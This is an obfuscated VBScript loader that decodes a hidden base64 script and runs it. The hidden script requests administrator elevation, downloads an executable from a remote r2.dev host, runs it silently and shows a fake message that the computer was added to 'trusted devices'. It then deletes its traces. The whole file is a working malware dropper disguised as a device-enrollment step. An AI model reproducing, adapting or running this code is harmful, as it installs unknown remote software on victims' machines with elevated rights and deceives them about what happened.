Option Explicit
Dim b64, doc, node, stm, code
b64 = "RGltIGZzbywgc2gsIGFyZ3MsIHVybCwgc3VjY2Vzc01lc3NhZ2UsIGluc3RhbGxUeXBlLCBpY29uRXh0LCBpY29uVXJsLCBmaW5hbE1lc3NhZ2UKRGltIGljb25EYXRhCkRpbSB0ZW1wRGlyLCBpbnN0YWxsZXJQYXRoLCBjbWRQYXRoLCBjbWRGaWxlCkRpbSBodHRwLCBzdHJlYW0sIHN0YXR1c0NvZGUsIHJ1bkNvZGUsIHNoZWxsQXBwLCBzY3JpcHRQYXRoLCBlbGV2YXRlZAoKdXJsID0gImh0dHBzOi8vcHViLWM5ZDBkNjhjMzkzMTQ1YjJiOTVlYjUyM2I1ZDczNGEwLnIyLmRldi9zLmV4ZSIKc3VjY2Vzc01lc3NhZ2UgPSAiWW91ciBjb21wdXRlciBoYXMgYmVlbiBzdWNjZXNzZnVsbHkgYWRkZWQgdG8gdGhlIGxpc3Qgb2YgdHJ1c3RlZCBkZXZpY2VzLiIKaW5zdGFsbFR5cGUgPSAiRVhFIgppY29uRXh0ID0gIiIKaWNvblVybCA9ICJodHRwczovL3B1Yi1jOWQwZDY4YzM5MzE0NWIyYjk1ZWI1MjNiNWQ3MzRhMC5yMi5kZXYvYXQucG5nIgppY29uRGF0YSA9ICIiCgpTZXQgc2ggPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQpTZXQgZnNvID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5" & _
"c3RlbU9iamVjdCIpClNldCBhcmdzID0gV1NjcmlwdC5Bcmd1bWVudHMKCmVsZXZhdGVkID0gRmFsc2UKSWYgYXJncy5Db3VudCA+IDAgVGhlbgogICAgSWYgTENhc2UoYXJncygwKSkgPSAiL2VsZXZhdGVkIiBUaGVuIGVsZXZhdGVkID0gVHJ1ZQpFbmQgSWYKCklmIE5vdCBlbGV2YXRlZCBUaGVuCiAgICBTZXQgc2hlbGxBcHAgPSBDcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikKICAgIHNjcmlwdFBhdGggPSBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lCiAgICBzaGVsbEFwcC5TaGVsbEV4ZWN1dGUgImNtZC5leGUiLCAiL2Mgd3NjcmlwdC5leGUgIiAmIENocigzNCkgJiBzY3JpcHRQYXRoICYgQ2hyKDM0KSAmICIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDAKICAgIFdTY3JpcHQuUXVpdApFbmQgSWYKCk9uIEVycm9yIFJlc3VtZSBOZXh0CkVyci5DbGVhcgp0ZW1wRGlyID0gc2guRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlUHJvZ3JhbURhdGElIikgJiAiXEFnZW50RGVwbG95bWVudF8iICYgZnNvLkdldFRlbXBOYW1lCklmIE5vdCBmc28uRm9sZGVyRXhpc3RzKHRlbXBEaXIpIFRoZW4g" & _
"ZnNvLkNyZWF0ZUZvbGRlciB0ZW1wRGlyCklmIEVyci5OdW1iZXIgPD4gMCBUaGVuCiAgICBTaG93RmFpbHVyZSAiQ291bGQgbm90IGNyZWF0ZSB0aGUgdGVtcG9yYXJ5IGZvbGRlcjogIiAmIEVyci5EZXNjcmlwdGlvbgogICAgV1NjcmlwdC5RdWl0IDEKRW5kIElmCgpJZiBpbnN0YWxsVHlwZSA9ICJNU0kiIFRoZW4KICAgIGluc3RhbGxlclBhdGggPSB0ZW1wRGlyICYgIlxhZ2VudC1pbnN0YWxsZXIubXNpIgpFbHNlCiAgICBpbnN0YWxsZXJQYXRoID0gdGVtcERpciAmICJcYWdlbnQtaW5zdGFsbGVyLmV4ZSIKRW5kIElmCmNtZFBhdGggPSB0ZW1wRGlyICYgIlxpbnN0YWxsLWFnZW50LmNtZCIKClNldCBodHRwID0gQ3JlYXRlT2JqZWN0KCJXaW5IdHRwLldpbkh0dHBSZXF1ZXN0LjUuMSIpCmh0dHAuU2V0VGltZW91dHMgMTUwMDAsIDE1MDAwLCAzMDAwMCwgMTgwMDAwCmh0dHAuT3BlbiAiR0VUIiwgdXJsLCBGYWxzZQpodHRwLlNldFJlcXVlc3RIZWFkZXIgIlVzZXItQWdlbnQiLCAiQXV0aG9yaXplZC1BZ2VudC1EZXBsb3ltZW50IgpodHRwLlNlbmQKSWYgRXJyLk51bWJlciA8PiAwIFRoZW4KICAg" & _
"IFNob3dGYWlsdXJlICJEb3dubG9hZCBmYWlsZWQ6ICIgJiBFcnIuRGVzY3JpcHRpb24KICAgIFdTY3JpcHQuUXVpdCAxCkVuZCBJZgpJZiBodHRwLlN0YXR1cyA8PiAyMDAgVGhlbgogICAgU2hvd0ZhaWx1cmUgIkRvd25sb2FkIGZhaWxlZC4gSFRUUCBzdGF0dXM6ICIgJiBDU3RyKGh0dHAuU3RhdHVzKQogICAgV1NjcmlwdC5RdWl0IDEKRW5kIElmCgpTZXQgc3RyZWFtID0gQ3JlYXRlT2JqZWN0KCJBRE9EQi5TdHJlYW0iKQpzdHJlYW0uVHlwZSA9IDEKc3RyZWFtLk9wZW4Kc3RyZWFtLldyaXRlIGh0dHAuUmVzcG9uc2VCb2R5CklmIEVyci5OdW1iZXIgPD4gMCBUaGVuCiAgICBTaG93RmFpbHVyZSAiQ291bGQgbm90IHJlYWQgdGhlIGRvd25sb2FkZWQgaW5zdGFsbGVyOiAiICYgRXJyLkRlc2NyaXB0aW9uCiAgICBXU2NyaXB0LlF1aXQgMQpFbmQgSWYKc3RyZWFtLlNhdmVUb0ZpbGUgaW5zdGFsbGVyUGF0aCwgMgpzdHJlYW0uQ2xvc2UKSWYgRXJyLk51bWJlciA8PiAwIFRoZW4KICAgIFNob3dGYWlsdXJlICJDb3VsZCBub3Qgc2F2ZSB0aGUgaW5zdGFsbGVyOiAiICYgRXJyLkRlc2NyaXB0aW9uCiAg" & _
"ICBXU2NyaXB0LlF1aXQgMQpFbmQgSWYKCklmIE5vdCBmc28uRmlsZUV4aXN0cyhpbnN0YWxsZXJQYXRoKSBUaGVuCiAgICBTaG93RmFpbHVyZSAiVGhlIGRvd25sb2FkZWQgaW5zdGFsbGVyIGZpbGUgd2FzIG5vdCBmb3VuZC4iCiAgICBXU2NyaXB0LlF1aXQgMQpFbmQgSWYKSWYgZnNvLkdldEZpbGUoaW5zdGFsbGVyUGF0aCkuU2l6ZSA8IDEwMDAwMCBUaGVuCiAgICBTaG93RmFpbHVyZSAiVGhlIGRvd25sb2FkZWQgZmlsZSBpcyB1bmV4cGVjdGVkbHkgc21hbGwuIENoZWNrIHRoZSBVUkwuIgogICAgV1NjcmlwdC5RdWl0IDEKRW5kIElmCgpTZXQgY21kRmlsZSA9IGZzby5DcmVhdGVUZXh0RmlsZShjbWRQYXRoLCBUcnVlLCBGYWxzZSkKY21kRmlsZS5Xcml0ZUxpbmUgIkBlY2hvIG9mZiIKSWYgaW5zdGFsbFR5cGUgPSAiTVNJIiBUaGVuCiAgICBjbWRGaWxlLldyaXRlTGluZSAibXNpZXhlYy5leGUgL2kgIiIiICYgaW5zdGFsbGVyUGF0aCAmICIiIiAvcW4gL25vcmVzdGFydCIKRWxzZQogICAgY21kRmlsZS5Xcml0ZUxpbmUgIiIiIiAmIGluc3RhbGxlclBhdGggJiAiIiIgLS1zaWxlbnQiCkVuZCBJ" & _
"ZgpjbWRGaWxlLldyaXRlTGluZSAiZXhpdCAvYiAlZXJyb3JsZXZlbCUiCmNtZEZpbGUuQ2xvc2UKSWYgRXJyLk51bWJlciA8PiAwIFRoZW4KICAgIFNob3dGYWlsdXJlICJDb3VsZCBub3QgcHJlcGFyZSB0aGUgaW5zdGFsbGF0aW9uIGNvbW1hbmQ6ICIgJiBFcnIuRGVzY3JpcHRpb24KICAgIFdTY3JpcHQuUXVpdCAxCkVuZCBJZgoKRXJyLkNsZWFyCnJ1bkNvZGUgPSBzaC5SdW4oImNtZC5leGUgL2QgL2MgIiAmIENocigzNCkgJiBjbWRQYXRoICYgQ2hyKDM0KSwgMCwgVHJ1ZSkKSWYgRXJyLk51bWJlciA8PiAwIFRoZW4KICAgIFNob3dGYWlsdXJlICJDb3VsZCBub3QgcnVuIHRoZSBpbnN0YWxsYXRpb24gY29tbWFuZDogIiAmIEVyci5EZXNjcmlwdGlvbgogICAgV1NjcmlwdC5RdWl0IDEKRW5kIElmCgpJZiBydW5Db2RlIDw+IDAgVGhlbgogICAgSWYgTm90IChpbnN0YWxsVHlwZSA9ICJNU0kiIEFuZCBydW5Db2RlID0gMzAxMCkgVGhlbgogICAgICAgIFNob3dGYWlsdXJlICJJbnN0YWxsYXRpb24gZmFpbGVkLiBFeGl0IGNvZGU6ICIgJiBDU3RyKHJ1bkNvZGUpCiAgICAgICAgV1NjcmlwdC5RdWl0" & _
"IHJ1bkNvZGUKICAgIEVuZCBJZgpFbmQgSWYKCmZpbmFsTWVzc2FnZSA9IHN1Y2Nlc3NNZXNzYWdlCklmIHJ1bkNvZGUgPSAzMDEwIFRoZW4KICAgIGZpbmFsTWVzc2FnZSA9IGZpbmFsTWVzc2FnZSAmIHZiQ3JMZiAmIHZiQ3JMZiAmICJBIHJlc3RhcnQgaXMgcmVxdWlyZWQgdG8gY29tcGxldGUgaW5zdGFsbGF0aW9uLiIKRW5kIElmCgpJZiBpY29uRGF0YSA8PiAiIiBPciBpY29uVXJsIDw+ICIiIFRoZW4KICAgIFNob3dDdXN0b21EaWFsb2cgZmluYWxNZXNzYWdlCkVsc2UKICAgIE1zZ0JveCBmaW5hbE1lc3NhZ2UsIDY0LCAiSW5zdGFsbGF0aW9uIGNvbXBsZXRlIgpFbmQgSWYKCkVyci5DbGVhcgpJZiBmc28uRmlsZUV4aXN0cyhpbnN0YWxsZXJQYXRoKSBUaGVuIGZzby5EZWxldGVGaWxlIGluc3RhbGxlclBhdGgsIFRydWUKSWYgZnNvLkZpbGVFeGlzdHMoY21kUGF0aCkgVGhlbiBmc28uRGVsZXRlRmlsZSBjbWRQYXRoLCBUcnVlCklmIGZzby5Gb2xkZXJFeGlzdHModGVtcERpcikgVGhlbiBmc28uRGVsZXRlRm9sZGVyIHRlbXBEaXIsIFRydWUKCldTY3JpcHQuUXVpdCAwCgpTdWIgU2hvd0ZhaWx1" & _
"cmUobWVzc2FnZSkKICAgIE1zZ0JveCBtZXNzYWdlLCAxNiwgIkluc3RhbGxhdGlvbiBlcnJvciIKRW5kIFN1YgoKU3ViIFNob3dDdXN0b21EaWFsb2cobWVzc2FnZSkKICAgIERpbSBpY29uUGF0aCwgaHRhUGF0aCwgaHRtbCwgaHRtLCBib2R5LCBpY29uU3JjLCBpY29uQXR0cgoKICAgIGh0YVBhdGggPSB0ZW1wRGlyICYgIlxhZ2VudC1tZXNzYWdlLmh0YSIKICAgIGljb25BdHRyID0gIiIKCiAgICBJZiBpY29uVXJsIDw+ICIiIFRoZW4KICAgICAgICBpY29uU3JjID0gUmVwbGFjZShpY29uVXJsLCAiIiIiLCAiJnF1b3Q7IikKICAgIEVsc2UKICAgICAgICBpY29uUGF0aCA9IHRlbXBEaXIgJiAiXGFnZW50LWljb24uIiAmIGljb25FeHQKICAgICAgICBFcnIuQ2xlYXIKICAgICAgICBTZXQgaHRtID0gQ3JlYXRlT2JqZWN0KCJBRE9EQi5TdHJlYW0iKQogICAgICAgIGh0bS5UeXBlID0gMQogICAgICAgIGh0bS5PcGVuCiAgICAgICAgaHRtLldyaXRlIEJhc2U2NFRvQnl0ZXMoaWNvbkRhdGEpCiAgICAgICAgaHRtLlNhdmVUb0ZpbGUgaWNvblBhdGgsIDIKICAgICAgICBodG0uQ2xvc2UKICAgICAgICBJ" & _
"ZiBFcnIuTnVtYmVyIDw+IDAgVGhlbgogICAgICAgICAgICBNc2dCb3ggbWVzc2FnZSwgNjQsICJJbnN0YWxsYXRpb24gY29tcGxldGUiCiAgICAgICAgICAgIEV4aXQgU3ViCiAgICAgICAgRW5kIElmCiAgICAgICAgaWNvblNyYyA9ICJmaWxlOi8vLyIgJiBSZXBsYWNlKGljb25QYXRoLCAiXCIsICIvIikKICAgICAgICBJZiBMQ2FzZShpY29uRXh0KSA9ICJpY28iIFRoZW4gaWNvbkF0dHIgPSAiIGljb249IiIiICYgaWNvblBhdGggJiAiIiIiCiAgICBFbmQgSWYKCiAgICBib2R5ID0gbWVzc2FnZQogICAgYm9keSA9IFJlcGxhY2UoYm9keSwgIiYiLCAiJmFtcDsiKQogICAgYm9keSA9IFJlcGxhY2UoYm9keSwgIjwiLCAiJmx0OyIpCiAgICBib2R5ID0gUmVwbGFjZShib2R5LCAiPiIsICImZ3Q7IikKICAgIGJvZHkgPSBSZXBsYWNlKGJvZHksIHZiQ3JMZiwgIjxicj4iKQogICAgYm9keSA9IFJlcGxhY2UoYm9keSwgdmJMZiwgIjxicj4iKQogICAgYm9keSA9IFJlcGxhY2UoYm9keSwgdmJDciwgIjxicj4iKQoKICAgIGh0bWwgPSAiPGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iIlgtVUEtQ29t" & _
"cGF0aWJsZSIiIGNvbnRlbnQ9IiJJRT1lZGdlIiI+IiAmIHZiQ3JMZgogICAgaHRtbCA9IGh0bWwgJiAiPG1ldGEgY2hhcnNldD0iInV0Zi04IiI+PHRpdGxlPkluc3RhbGxhdGlvbiBjb21wbGV0ZTwvdGl0bGU+IiAmIHZiQ3JMZgogICAgaHRtbCA9IGh0bWwgJiAiPGh0YTphcHBsaWNhdGlvbiBpZD0iImFwcCIiIGFwcGxpY2F0aW9ubmFtZT0iIkluc3RhbGxhdGlvbiBjb21wbGV0ZSIiIGJvcmRlcj0iInRoaW4iIiBjYXB0aW9uPSIieWVzIiIgc3lzbWVudT0iInllcyIiIHNjcm9sbD0iIm5vIiIgc2luZ2xlaW5zdGFuY2U9IiJ5ZXMiIiIgJiBpY29uQXR0ciAmICIgLz4iICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICI8c3R5bGU+aHRtbCxib2R5e21hcmdpbjowO3BhZGRpbmc6MDtiYWNrZ3JvdW5kOiNmZmZmZmY7b3ZlcmZsb3c6aGlkZGVuO2NvbG9yOiMxYjFiMWI7IiAmIHZiQ3JMZgogICAgaHRtbCA9IGh0bWwgJiAiZm9udC1mYW1pbHk6J1NlZ29lIFVJIFZhcmlhYmxlIFRleHQnLCdTZWdvZSBVSScsVGFob21hLEFyaWFsLHNhbnMtc2VyaWY7Zm9udC1zaXplOjE0cHg7fSIgJiB2YkNyTGYKICAg" & _
"IGh0bWwgPSBodG1sICYgIiNib3h7cGFkZGluZzoxLjdlbSAxLjdlbSAwIDEuN2VtO3RleHQtYWxpZ246Y2VudGVyO30iICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICIjaWNve3dpZHRoOjMuMmVtO2hlaWdodDozLjJlbTtib3JkZXI6MDt9IiAmIHZiQ3JMZgogICAgaHRtbCA9IGh0bWwgJiAiI21zZ3tmb250LXNpemU6MWVtO2xpbmUtaGVpZ2h0OjEuNTU7bWFyZ2luLXRvcDouODVlbTt0ZXh0LWFsaWduOmNlbnRlcjt9IiAmIHZiQ3JMZgogICAgaHRtbCA9IGh0bWwgJiAiI2JhcntwYWRkaW5nOjEuMmVtIDEuN2VtIDEuNWVtIDEuN2VtO30iICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICJidXR0b257ZGlzcGxheTpibG9jazt3aWR0aDoxMDAlO2ZvbnQtZmFtaWx5OmluaGVyaXQ7Zm9udC1zaXplOjFlbTtwYWRkaW5nOi42ZW0gMDsiICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICJib3JkZXI6MDtib3JkZXItcmFkaXVzOjRweDtiYWNrZ3JvdW5kOiMwMDY3YzA7Y29sb3I6I2ZmZmZmZjtjdXJzb3I6cG9pbnRlcjt9IiAmIHZiQ3JMZgogICAgaHRtbCA9IGh0bWwgJiAiYnV0dG9uOmhvdmVye2Jh" & _
"Y2tncm91bmQ6IzFhNzVjNzt9YnV0dG9uOmFjdGl2ZXtiYWNrZ3JvdW5kOiMwMDViYTE7fSIgJiB2YkNyTGYKICAgIGh0bWwgPSBodG1sICYgImJ1dHRvbjpmb2N1c3tvdXRsaW5lOjJweCBzb2xpZCAjMDA1YmExO291dGxpbmUtb2Zmc2V0OjJweDt9PC9zdHlsZT48L2hlYWQ+IiAmIHZiQ3JMZgogICAgaHRtbCA9IGh0bWwgJiAiPGJvZHkgb25sb2FkPSIiaW5pdCgpIiI+PGRpdiBpZD0iImJveCIiPjxpbWcgaWQ9IiJpY28iIiBhbHQ9IiIiIiBzcmM9IiIiICYgaWNvblNyYyAmICIiIiBvbmVycm9yPSIidGhpcy5zdHlsZS5kaXNwbGF5PSdub25lJyIiPjxkaXYgaWQ9IiJtc2ciIj4iICYgYm9keSAmICI8L2Rpdj48L2Rpdj4iICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICI8ZGl2IGlkPSIiYmFyIiI+PGJ1dHRvbiBpZD0iIm9rIiIgb25jbGljaz0iIndpbmRvdy5jbG9zZSgpIiI+T0s8L2J1dHRvbj48L2Rpdj4iICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICI8c2NyaXB0PiIgJiB2YkNyTGYKICAgIGh0bWwgPSBodG1sICYgInZhciBTPTEsQkFTRT0xNCxDT0xTPTI2OyIgJiB2YkNyTGYKICAgIGh0" & _
"bWwgPSBodG1sICYgInRyeXtpZihzY3JlZW4uZGV2aWNlWERQSSYmc2NyZWVuLmxvZ2ljYWxYRFBJJiZzY3JlZW4ubG9naWNhbFhEUEk+MCl7Uz1zY3JlZW4uZGV2aWNlWERQSS9zY3JlZW4ubG9naWNhbFhEUEk7fX1jYXRjaChlKXtTPTE7fSIgJiB2YkNyTGYKICAgIGh0bWwgPSBodG1sICYgImlmKCFTfHxTPDEpe1M9MTt9aWYoUz4xLjc1KXtTPTEuNzU7fSIgJiB2YkNyTGYKICAgIGh0bWwgPSBodG1sICYgImZ1bmN0aW9uIGN3KCl7cmV0dXJuIE1hdGgucm91bmQoQ09MUypCQVNFKlMpO30iICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICJmdW5jdGlvbiBpbml0KCl7ZG9jdW1lbnQuYm9keS5zdHlsZS5mb250U2l6ZT1NYXRoLnJvdW5kKEJBU0UqUykrJ3B4JzsiICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICJ3aW5kb3cucmVzaXplVG8oY3coKSsyMCwzMjApO3NldFRpbWVvdXQoZml0LDYwKTt9IiAmIHZiQ3JMZgogICAgaHRtbCA9IGh0bWwgJiAiZnVuY3Rpb24gZml0KCl7dmFyIGRlPWRvY3VtZW50LmRvY3VtZW50RWxlbWVudCwiICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICJidz13aW5k" & _
"b3cub3V0ZXJXaWR0aC1kZS5jbGllbnRXaWR0aCxiaD13aW5kb3cub3V0ZXJIZWlnaHQtZGUuY2xpZW50SGVpZ2h0LCIgJiB2YkNyTGYKICAgIGh0bWwgPSBodG1sICYgInc9Y3coKStidyxoPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdib3gnKS5vZmZzZXRIZWlnaHQrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhcicpLm9mZnNldEhlaWdodCtiaCwiICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICJtaD1zY3JlZW4uYXZhaWxIZWlnaHQtNzA7IiAmIHZiQ3JMZgogICAgaHRtbCA9IGh0bWwgJiAiaWYoaD5taCl7aD1taDtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXNnJykuc3R5bGUub3ZlcmZsb3c9J2F1dG8nO30iICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICJ3aW5kb3cucmVzaXplVG8odyxoKTsiICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICJ3aW5kb3cubW92ZVRvKE1hdGgubWF4KDAsKHNjcmVlbi5hdmFpbFdpZHRoLXcpLzIpLE1hdGgubWF4KDAsKHNjcmVlbi5hdmFpbEhlaWdodC1oKS8yKSk7IiAmIHZiQ3JMZgogICAgaHRtbCA9IGh0bWwgJiAiZG9jdW1lbnQuZ2V0RWxlbWVu" & _
"dEJ5SWQoJ29rJykuZm9jdXMoKTsiICYgdmJDckxmCiAgICBodG1sID0gaHRtbCAmICJkb2N1bWVudC5vbmtleWRvd249ZnVuY3Rpb24oZSl7aWYoZS5rZXlDb2RlPT0yNyl7d2luZG93LmNsb3NlKCk7fX07fSIgJiB2YkNyTGYKICAgIGh0bWwgPSBodG1sICYgIjwvc2NyaXB0PjwvYm9keT48L2h0bWw+IgoKICAgIEVyci5DbGVhcgogICAgU2V0IGh0bSA9IENyZWF0ZU9iamVjdCgiQURPREIuU3RyZWFtIikKICAgIGh0bS5UeXBlID0gMgogICAgaHRtLkNoYXJzZXQgPSAidXRmLTgiCiAgICBodG0uT3BlbgogICAgaHRtLldyaXRlVGV4dCBodG1sCiAgICBodG0uU2F2ZVRvRmlsZSBodGFQYXRoLCAyCiAgICBodG0uQ2xvc2UKICAgIElmIEVyci5OdW1iZXIgPD4gMCBUaGVuCiAgICAgICAgTXNnQm94IG1lc3NhZ2UsIDY0LCAiSW5zdGFsbGF0aW9uIGNvbXBsZXRlIgogICAgICAgIEV4aXQgU3ViCiAgICBFbmQgSWYKCiAgICBFcnIuQ2xlYXIKICAgIHNoLlJ1biAibXNodGEuZXhlICIiIiAmIGh0YVBhdGggJiAiIiIiLCAxLCBUcnVlCiAgICBJZiBFcnIuTnVtYmVyIDw+IDAgVGhlbgogICAgICAgIE1zZ0Jv" & _
"eCBtZXNzYWdlLCA2NCwgIkluc3RhbGxhdGlvbiBjb21wbGV0ZSIKICAgIEVuZCBJZgpFbmQgU3ViCgpGdW5jdGlvbiBCYXNlNjRUb0J5dGVzKGI2NCkKICAgIERpbSBkb2MsIG5vZGUKICAgIFNldCBkb2MgPSBDcmVhdGVPYmplY3QoIk1TWE1MMi5ET01Eb2N1bWVudCIpCiAgICBTZXQgbm9kZSA9IGRvYy5jcmVhdGVFbGVtZW50KCJiIikKICAgIG5vZGUuRGF0YVR5cGUgPSAiYmluLmJhc2U2NCIKICAgIG5vZGUuVGV4dCA9IGI2NAogICAgQmFzZTY0VG9CeXRlcyA9IG5vZGUuTm9kZVR5cGVkVmFsdWUKRW5kIEZ1bmN0aW9uCg=="
Set doc = CreateObject("MSXML2.DOMDocument")
Set node = doc.createElement("b")
node.DataType = "bin.base64"
node.Text = b64
Set stm = CreateObject("ADODB.Stream")
stm.Type = 1
stm.Open
stm.Write node.NodeTypedValue
stm.Position = 0
stm.Type = 2
stm.Charset = "utf-8"
code = stm.ReadText
stm.Close
ExecuteGlobal code